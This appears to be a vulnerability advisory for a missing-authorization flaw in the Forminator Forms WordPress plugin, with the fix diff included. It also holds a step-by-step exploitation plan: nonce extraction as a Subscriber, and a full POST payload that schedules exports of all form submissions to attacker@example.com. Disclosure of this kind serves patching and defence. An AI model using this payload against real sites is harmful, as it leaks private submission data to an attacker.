Forminator Forms <= 1.53.0 - Missing Authorization to Authenticated (Subscriber+) Scheduled Form Submission Export via forminator_export_entries Action on wp_loaded Hook
Description
The Forminator Forms plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.53.0. This is due to the listen_for_saving_export_schedule() function in library/class-export.php failing to perform a capability check before saving the scheduled export configuration, unlike the parallel listen_for_csv_export() function which correctly verifies user permissions. This makes it possible for authenticated attackers with subscriber-level access to configure a scheduled export job that emails all form submissions to an attacker-controlled email address, resulting in sensitive data exfiltration.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.53.0.1
Source Code
WordPress.org SVN# Research Plan - CVE-2026-6214 - Forminator Forms Scheduled Export Missing Authorization ## Vulnerability Summary The Forminator Forms plugin (<= 1.53.0) contains a missing authorization vulnerability in the `Forminator_Export::listen_for_saving_export_schedule()` function. This function is hooked…
Show full research plan
Research Plan - CVE-2026-6214 - Forminator Forms Scheduled Export Missing Authorization
Vulnerability Summary
The Forminator Forms plugin (<= 1.53.0) contains a missing authorization vulnerability in the Forminator_Export::listen_for_saving_export_schedule() function. This function is hooked to wp_loaded and handles the configuration of scheduled entry exports via email. While it verifies a WordPress nonce, it fails to perform any capability checks (such as forminator_is_user_allowed('forminator-entries')). Consequently, any authenticated user (Subscriber level and above) who can obtain a valid nonce can configure a scheduled export job to send all form submissions to an arbitrary email address.
Attack Vector Analysis
- Endpoint: Any WordPress URL that triggers
wp_loaded, typically/wp-admin/admin-ajax.php. - Action:
forminator_export_entries(passed via$_POST['action']). - Required Authentication: Subscriber-level account.
- Vulnerable Code:
library/class-export.phpinlisten_for_saving_export_schedule(). - Payload Parameters:
action:forminator_export_entries_forminator_nonce: Nonce generated for theforminator_exportaction.form_id: The ID of the form to export.form_type: Usuallyform(could bepollorquiz).enabled:true(to activate the schedule).email[]: The attacker's email address to receive the CSV exports.interval:daily,weekly, ormonthly.hour:HH:MM(e.g.,00:00).
Code Flow
- Entry Point:
Forminator_Export::__construct()registersadd_action( 'wp_loaded', array( &$this, 'listen_for_saving_export_schedule' ) );. - Action Trigger: The function checks if
Forminator_Core::sanitize_text_field( 'action' )equalsforminator_export_entries. - Nonce Verification: It verifies
_forminator_nonceagainst the actionforminator_export. - Missing Check: Unlike
listen_for_csv_export(), it does not callforminator_is_user_allowed( 'forminator-entries' ). - State Modification: The function proceeds to update the
forminator_entries_export_scheduleoption with the attacker-supplied email and schedule configuration.
Nonce Acquisition Strategy
The nonce for forminator_export is required. In Forminator, nonces are often localized into the forminatorData JavaScript object and enqueued for authenticated users in the admin dashboard.
- Access Dashboard: Log in as a Subscriber and navigate to
/wp-admin/. - Identify Nonce: Forminator often localizes nonces in
admin/classes/class-admin-data.php. - Extraction:
- Use
browser_navigateto go to/wp-admin/. - Use
browser_evalto extract the nonce. - The nonce for exports is typically found in
window.forminatorData.formExportNonceor a similar key. - Note: If the key
formExportNoncecorresponds toforminator_popup_export_form, verify if thelisten_for_saving_export_schedulefunction accepts it. If the plugin uses a common nonce for all export actions, any offormExportNonce,pollExportNonce, orquizExportNoncemight work if they map to theforminator_exportaction. - Confirmed Identifier: Based on
library/class-export.php, the server expectswp_verify_nonce( $nonce, 'forminator_export' ).
- Use
Exploitation Strategy
- Preparation:
- Ensure a form (e.g., ID
1) exists with some submissions.
- Ensure a form (e.g., ID
- Login: Authenticate as a Subscriber.
- Nonce Fetch:
- Navigate to
/wp-admin/. - Execute
browser_eval("window.forminatorData?.formExportNonce"). - If null, grep the page source for
forminator_export.
- Navigate to
- Execution:
- Use
http_requestto send a POST request to/wp-admin/admin-ajax.php.
- Use
- Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=forminator_export_entries&_forminator_nonce=[NONCE]&form_id=1&form_type=form&enabled=true&email[]=attacker@example.com&interval=daily&hour=00:00
Test Data Setup
- Create Form: Use WP-CLI to ensure at least one Forminator form exists.
# Create a simple form if one doesn't exist wp post create --post_type=forminator_forms --post_title="Sensitive Data Form" --post_status=publish - Add Submissions: Submit the form once to ensure there is data to export.
- Create Attacker: Create a subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
Expected Results
- The server should return a redirect (302) or a success message (depending on the specific version's response logic in
listen_for_saving_export_schedule). - If successful, the redirection URL will not contain the
err_msgparameter for "Invalid request".
Verification Steps
- Check Database: Use WP-CLI to inspect the scheduled export configuration.
wp option get forminator_entries_export_schedule - Verify Content: Ensure the option contains
attacker@example.comfor the correspondingform_id.
Alternative Approaches
If formExportNonce is not accessible to Subscribers on the general dashboard:
- Check Page Source: Look for other enqueued scripts or localized data on any
/wp-admin/page. - Bypass Check: Verify if
_forminator_nonceis strictly required. In some versions, if the nonce is missing and the user is authenticated, the behavior might differ, though the code suggests it is required. - Referer Trick: If the redirection logic is used, check if the plugin leaks the nonce in any error messages or redirect parameters.
Summary
The Forminator Forms plugin for WordPress is vulnerable to unauthorized sensitive data exfiltration in versions up to 1.53.0. This is due to a missing capability check in the `listen_for_saving_export_schedule()` function, allowing authenticated users with Subscriber-level access to configure scheduled email exports of form submissions to an arbitrary email address.
Vulnerable Code
// library/class-export.php:186 public function listen_for_saving_export_schedule() { $action = Forminator_Core::sanitize_text_field( 'action' ); if ( 'forminator_export_entries' === $action ) { $nonce = Forminator_Core::sanitize_text_field( '_forminator_nonce' ); if ( ! $nonce || ! wp_verify_nonce( $nonce, 'forminator_export' ) ) { $redirect = add_query_arg( array( 'err_msg' => rawurlencode( esc_html__( 'Invalid request, you are not allowed to do that action.', 'forminator' ) ), ) ); wp_safe_redirect( $redirect ); exit; } $data = $this->get_entries_export_schedule();
Security Fix
@@ -993,9 +993,16 @@ break; } + $slug = 'forminator-cform'; + if ( 'poll' === static::$module_slug ) { + $slug = 'forminator-poll'; + } elseif ( 'quiz' === static::$module_slug ) { + $slug = 'forminator-quiz'; + } // Verify nonce. $nonce = Forminator_Core::sanitize_text_field( $nonce_name ); - if ( ! $nonce || ! wp_verify_nonce( $nonce, $nonce_action ) ) { + if ( ! $nonce || ! wp_verify_nonce( $nonce, $nonce_action ) + || ! forminator_is_user_allowed( $slug ) ) { return; } @@ -188,14 +188,15 @@ $action = Forminator_Core::sanitize_text_field( 'action' ); if ( 'forminator_export_entries' === $action ) { $nonce = Forminator_Core::sanitize_text_field( '_forminator_nonce' ); - if ( ! $nonce || ! wp_verify_nonce( $nonce, 'forminator_export' ) ) { - $redirect = add_query_arg( - array( - 'err_msg' => rawurlencode( esc_html__( 'Invalid request, you are not allowed to do that action.', 'forminator' ) ), - ) - ); + $redirect = add_query_arg( + array( + 'err_msg' => rawurlencode( esc_html__( 'Invalid request, you are not allowed to do that action.', 'forminator' ) ), + ) + ); + if ( ! $nonce || ! wp_verify_nonce( $nonce, 'forminator_export' ) + || ! forminator_is_user_allowed( 'forminator-entries' ) ) { wp_safe_redirect( $redirect ); exit; } ... (truncated)
Exploit Outline
1. Login as an authenticated user with at least Subscriber-level privileges. 2. Navigate to the WordPress admin dashboard and extract a valid `forminator_export` nonce, which is often enqueued within the `forminatorData` or `forminatorl10n` JavaScript objects (e.g., `window.forminatorData.exporter.export_nonce`). 3. Identify the `form_id` of the target form containing sensitive submissions. 4. Send a POST request to `/wp-admin/admin-ajax.php` (or any endpoint triggering `wp_loaded`) with the following body: `action=forminator_export_entries`, `_forminator_nonce=[EXTRACTED_NONCE]`, `form_id=[TARGET_ID]`, `form_type=form`, `enabled=true`, and `email[]=[ATTACKER_EMAIL]`. 5. The plugin will save the scheduled export configuration without verifying the attacker's permissions, leading to periodic CSV exports of form submissions being sent to the specified attacker-controlled email address.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.